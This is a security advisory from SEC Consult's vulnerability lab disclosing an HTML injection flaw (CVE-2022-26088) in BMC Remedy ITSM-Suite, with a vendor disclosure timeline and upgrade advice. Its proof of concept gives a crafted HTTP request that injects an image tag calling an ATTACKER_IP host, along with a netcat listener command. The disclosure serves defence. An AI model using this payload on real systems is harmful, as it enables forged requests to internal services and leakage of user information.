SEC Consult SA-20221110-0 :: HTML Injection in BMC Remedy ITSM-Suite

From: "SEC Consult Vulnerability Lab, Research via Fulldisclosure" <fulldisclosure () seclists org>
Date: Thu, 10 Nov 2022 08:06:58 +0000

```
SEC Consult Vulnerability Lab Security Advisory < 20221110-0 >
=======================================================================
               title: HTML Injection
             product: BMC Remedy ITSM-Suite
  vulnerable version: 9.1.10 (= 20.02 in new versioning scheme)
       fixed version: 22.1
          CVE number: CVE-2022-26088
              impact: Low
            homepage: https://www.bmc.com/it-solutions/remedy-itsm.html
               found: 2021-08-11
                  by: Daniel Hirschberger (Office Bochum)
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Atos company
                      Europe | Asia | North America

                      https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"Remedy IT Service Management Suite (Remedy ITSM Suite) and BMC Helix
ITSM service provide out of-the-box IT Information Library (ITIL)
service support functionality. Remedy ITSM Suite and BMC Helix ITSM
service streamline and automate the processes around IT service desk,
asset management, and change management operations. It also enables
you to link your business services to your IT infrastructure to help
you manage the impact of technology changes on business and business
changes on technology — in real time and into the future. In addition,
you can understand and optimize the user experience, balance current
and future infrastructure investments, and view potential impact on
the business by using a real-time service model."

Source: https://docs.bmc.com/docs/itsm91/home-608490971.html


Business recommendation:
------------------------
```

The vendor provides an updated version which should be installed immediately.

The vendor states that:

> We have done hardening in version 22.1.
> However, we do not agree with assigning the CVE to this vulnerability.
> As mentioned previously this is an informative vulnerability, and no real
> impact is demonstrated.

Nevertheless, this can be used to trigger actions on internal services via CSRF or exfiltrate information.

Vulnerability overview/description:
---
1) HTML Injection (CVE-2022-26088)
An authenticated attacker who can forward incidents per email is able to inject a limited set of HTML tags. This is accomplished by inserting arbitrary content into the "To:" field of the email. There is a filtering mechanism that prevents the injection of many HTML tags, for example <script>, and it also removes event handlers. An attacker is able to insert an image tag with an arbitrary src URL.

After sending the email, an entry is appended into the activity log of the incident which states that $USER has sent an email to <X> recipients. Upon clicking on the number <X>, the injected HTML code is loaded and executed.

By inserting an <img> with an arbitrary "src" attribute, an attacker can force the user's browser to make requests to his specified URL. This can be used to trigger actions on internal services via CSRF or exfiltrate information.

Proof of concept:
---
1) HTML Injection (CVE-2022-26088)
When an incident is viewed, there is a button which allows forwarding the incident by mail. After entering a TO address and the body of the email, it can be sent by clicking on the send button.

The HTML injection can be performed by intercepting this request and changing the 'Email.To.InternetEmail' parameter. The modified request is:

```
---------------------------------------------------------------------------
PUT /rest/incident/worknote/SOME_INCIDENT_ID HTTP/1.1
Host: TARGET
Cookie: […]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
X-Xsrf-Token: SOME_TOKEN
Content-Length: ADAPT_AS_NEEDED
Te: trailers
Connection: close

{
   "worknote": "pentest",
   "access": true,
   "Email.From.Person": {
     "email": "SOME_SENDING_MAIL",
     "fullName": "Pentest - SEC Consult",
     "loginId": "USERNAME"
   },
   "Email.Subject": "SOME_SUBJECT",
   "Email.Body": "test2",
```

```
   "Email.To.InternetEmail": "<img src=http://ATTACKER_IP:8001/>a () example test",
   "workInfoType": 16000
}
--------------------------------------------------------------------------------

The parameter Email.To.InternetEmail contains the payload. In this case an
image tag containing the IP of the attacker was inserted:
"<img src=http://LOCAL_IP:8001/>a () example test"
The a () example test is needed to pass the email validation step and example.test
was used to prevent sending out real emails.

After this step, the information that $USER has sent an email to 1 recipient
will be appended in the activity log of this incident.


Now we start a local netcat listener with the command
$ nc -vnlp 8001

Now we click on the number '1' in the activity log and see that the browser
issues a request to our 'netcat' instance.

This confirms that the browser tries to load the image from the specified URL.


Vulnerable / tested versions:
-----------------------------
The following version has been tested:
* 9.1.10 this corresponds to version 20.02 as stated at the following URL:
https://community.bmc.com/s/news/aA33n000000CmmSCAS/remedy-version-mapping


Vendor contact timeline:
------------------------
2021-09-07: Contacting vendor through email (appsec () bmc com).
2021-09-28: Vendor states that they did not get the first email.
2021-09-29: Resending the advisory to their renewed GPG key.
2021-10-29: Fix pending, request to delay publication.
2021-11-18: Vulnerability is fixed and the fix is being evaluated.
2022-01-17: Asking for a status update.
2022-01-17: Vulnerability is fixed, no scheduled release.
2022-01-24: Tentative release on 2022-03-09; discussing impact 'best practice' vs 'low'.
2022-02-24: Fixed in Smart-IT 22.1, release postponed.
2022-03-30: Release postponed to May 2022.
2022-04-20: Asking if the fixed version will be released in May.
2022-05-17: Asking if the fixed version will be released in May.
2022-05-23: Release rescheduled to end of June/July
2022-08-04: Asking for status
2022-08-05: Product was released
2022-08-31: Asking for link to update
2022-09-01: Vendor does not agree with getting a CVE assigned, impact is explained again
2022-09-06: Vendor asks for final version of advisory
2022-09-06: Asking vendor for a new GPG key because of expiry
2022-09-07: Sending the final advisory to the vendor
2022-09-12: Vendor will check the advisory and answer in 1 or 2 days
2022-09-14: Vendor states that their application is not vulnerable to CSRF and
             asks if other data could be leaked via the HTTP request
2022-09-15: We clarify that their application does not seem to be vulnerable to
             CSRF but the HTML injection allows CSRFing other applications in the intranet.
             Also we did not have time to assess if other data besides User-Agent and the
             client's IP can be leaked.
2022-10-04: We request an update to the previous mail.
2022-10-19: Vendor sticks to their own original impact analysis.
2022-11-10: Public release of security advisory.
```

Solution:

Upgrade to version 22.1 or later which can be downloaded at the vendor's page:
https://www.bmc.com/support/resources/product-downloads.html

Workaround:

None

Advisory URL:
----
https://sec-consult.com/vulnerability-lab/

~~~~~~

SEC Consult Vulnerability Lab

SEC Consult, an Atos company
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos company. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.

~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://sec-consult.com/contact/
~~~~~~

Mail: security-research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF Daniel Hirschberger / @2022

⬅ By Date ➡ ⬅ By Thread ➡

Current thread:

SEC Consult SA-20221110-0 :: HTML Injection in BMC Remedy ITSM-Suite *SEC Consult Vulnerability Lab, Research via Fulldisclosure (Nov 15)*

Site Search
~~~~~~